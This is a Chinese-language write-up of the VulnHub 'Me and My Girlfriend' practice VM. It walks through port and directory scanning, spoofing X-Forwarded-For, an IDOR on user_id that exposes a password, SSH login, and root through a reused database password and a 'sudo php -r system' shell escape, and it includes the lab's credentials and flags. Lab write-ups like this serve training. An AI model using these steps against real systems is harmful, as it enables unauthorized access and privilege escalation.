0%

Vulnhub-Me and My Girlfriend

cisp综合题举得靶机例子,是个vulnhub很老的靶机的,在其他很多地方也见到过,正好复建一下

靶机介绍:
Description: This VM tells us that there are a couple of lovers namely Alice and Bob, where the couple was originally very romantic, but since Alice worked at a private company, “Ceban Corp”, something has changed from Alice’s attitude towards Bob like something is “hidden”, And Bob asks for your help to get what Alice is hiding and get full access to the company!

Difficulty Level: Beginner

Notes: there are 2 flag files

Learning: Web Application | Simple Privilege Escalation

端口扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
┌──(root㉿kali)-[~/tmp]
└─# nmap 192.168.10.139 -A
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-18 19:43 CST
Nmap scan report for 192.168.10.139 (192.168.10.139)
Host is up (0.00087s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 57:e1:56:58:46:04:33:56:3d:c3:4b:a7:93:ee:23:16 (DSA)
| 2048 3b:26:4d:e4:a0:3b:f8:75:d9:6e:15:55:82:8c:71:97 (RSA)
| 256 8f:48:97:9b:55:11:5b:f1:6c:1d:b3:4a:bc:36:bd:b0 (ECDSA)
|_ 256 d0:c3:02:a1:c4:c2:a8:ac:3b:84:ae:8f:e5:79:66:76 (ED25519)
80/tcp open http Apache httpd 2.4.7 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.7 (Ubuntu)
MAC Address: 00:0C:29:63:6B:88 (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.14
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT ADDRESS
1 0.87 ms 192.168.10.139 (192.168.10.139)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.74 seconds

经典的22和80端口

web

先去80端口

1
2
3
┌──(root㉿kali)-[~/tmp]
└─# curl 192.168.10.139
Who are you? Hacker? Sorry This Site Can Only Be Accessed local!<!-- Maybe you can search how to use x-forwarded-for -->

提示x-forwarded-for 那就在请求头中加入这个 表示从本地访问

修改请求头之后就可以正常访问了,但是每次要修改这个请求头特别麻烦。
最近下了一个渗透版的firefox 里面有一个插件就可以设置请求头

然后访问就看到有注册和登录界面,那就注册一个试试吧

注册进来也就只有一个dashboard和一个profile 而且也没有多余的信息
这里的信息就收集了这么多,然后再去目录扫描一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
┌──(root㉿kali)-[~/tmp]
└─# dirsearch -u 192.168.10.139
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
from pkg_resources import DistributionNotFound, VersionConflict

_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460

Output File: /root/tmp/reports/_192.168.10.139/_25-08-18_20-11-26.txt

Target: http://192.168.10.139/

[20:11:26] Starting:
[20:11:37] 403 - 292B - /.ht_wsr.txt
[20:11:37] 403 - 295B - /.htaccess.bak1
[20:11:37] 403 - 297B - /.htaccess.sample
[20:11:37] 403 - 295B - /.htaccess.orig
[20:11:37] 403 - 295B - /.htaccess.save
[20:11:37] 403 - 296B - /.htaccess_extra
[20:11:37] 403 - 293B - /.htaccess_sc
[20:11:37] 403 - 295B - /.htaccess_orig
[20:11:37] 403 - 293B - /.htaccessBAK
[20:11:37] 403 - 294B - /.htaccessOLD2
[20:11:37] 403 - 293B - /.htaccessOLD
[20:11:37] 403 - 285B - /.htm
[20:11:37] 403 - 286B - /.html
[20:11:37] 403 - 295B - /.htpasswd_test
[20:11:37] 403 - 291B - /.htpasswds
[20:11:37] 403 - 292B - /.httr-oauth
[20:11:42] 403 - 285B - /.php
[20:11:42] 403 - 286B - /.php3
[20:12:53] 301 - 316B - /config -> http://192.168.10.139/config/
[20:12:54] 200 - 456B - /config/
[20:13:47] 301 - 314B - /misc -> http://192.168.10.139/misc/
[20:14:17] 200 - 32B - /robots.txt
[20:14:21] 403 - 295B - /server-status/
[20:14:21] 403 - 294B - /server-status
CTRL+C detected: Pausing threads, please wait...
[q]uit / [c]ontinue: q
[s]ave / [q]uit without saving: q

Canceled by the user

去robots.txt中 发现一个新的路径/heyhoo.txt

又继续在web找了一圈,发现profile和dashboard的url显示不一样
http://192.168.10.139/index.php?page=profile&user_id=12
这里又多一个user_id参数,那是否可以修改这个参数值,访问到不同用户?
经过尝试确实可以,现在根据靶机介绍要找到alice的用户的凭证 最终在5找到了alice用户
查看元素得到密码4lic3

然后可以成功到ssh 获得第一个flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
┌──(root㉿kali)-[~/tmp]
└─# ssh alice@192.168.10.139
alice@192.168.10.139's password:
Last login: Fri Dec 13 14:48:25 2019
alice@gfriEND:~$ id
uid=1000(alice) gid=1001(alice) groups=1001(alice)
alice@gfriEND:~$ ls
alice@gfriEND:~$ pwd
/home/alice
alice@gfriEND:~$ ls -al
total 32
drwxr-xr-x 4 alice alice 4096 Dec 13 2019 .
drwxr-xr-x 6 root root 4096 Dec 13 2019 ..
-rw------- 1 alice alice 10 Dec 13 2019 .bash_history
-rw-r--r-- 1 alice alice 220 Dec 13 2019 .bash_logout
-rw-r--r-- 1 alice alice 3637 Dec 13 2019 .bashrc
drwx------ 2 alice alice 4096 Dec 13 2019 .cache
drwxrwxr-x 2 alice alice 4096 Dec 13 2019 .my_secret
-rw-r--r-- 1 alice alice 675 Dec 13 2019 .profile
alice@gfriEND:~$ cd .my_secret/
alice@gfriEND:~/.my_secret$ ls
flag1.txt my_notes.txt
alice@gfriEND:~/.my_secret$ cat flag1.txt
Greattttt my brother! You saw the Alice's note! Now you save the record information to give to bob! I know if it's given to him then Bob will be hurt but this is better than Bob cheated!

Now your last job is get access to the root and read the flag ^_^

Flag 1 : gfriEND{2f5f21b2af1b8c3e227bcf35544f8f09}

提权

有一个note 发现没什么东西 sudo-l 发现可以用php

1
2
3
4
5
6
7
8
alice@gfriEND:~/.my_secret$ cat my_notes.txt
Woahhh! I like this company, I hope that here i get a better partner than bob ^_^, hopefully Bob doesn't know my notes
alice@gfriEND:~/.my_secret$ sudo -l
Matching Defaults entries for alice on gfriEND:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User alice may run the following commands on gfriEND:
(root) NOPASSWD: /usr/bin/php

与php有关的就是刚才目录扫描发现的config.php文件,看看内容

1
2
3
4
5
6
7
8
alice@gfriEND:/var/www/html/config$ cat config.php
<?php

$conn = mysqli_connect('localhost', 'root', 'ctf_pasti_bisa', 'ceban_corp');
alice@gfriEND:/var/www/html/config$ su - root
Password:
root@gfriEND:~# id
uid=0(root) gid=0(root) groups=0(root)

发现直接用这里的数据库密码就能登入到root用户 结束了,没有用sudo也可以

第二种方式就是用php来提权

1
2
alice@gfriEND:/var/www/html/config$ sudo /usr/bin/php -r "system('/bin/bash');"
root@gfriEND:/var/www/html/config#

-r表示直接在命令行中运行php代码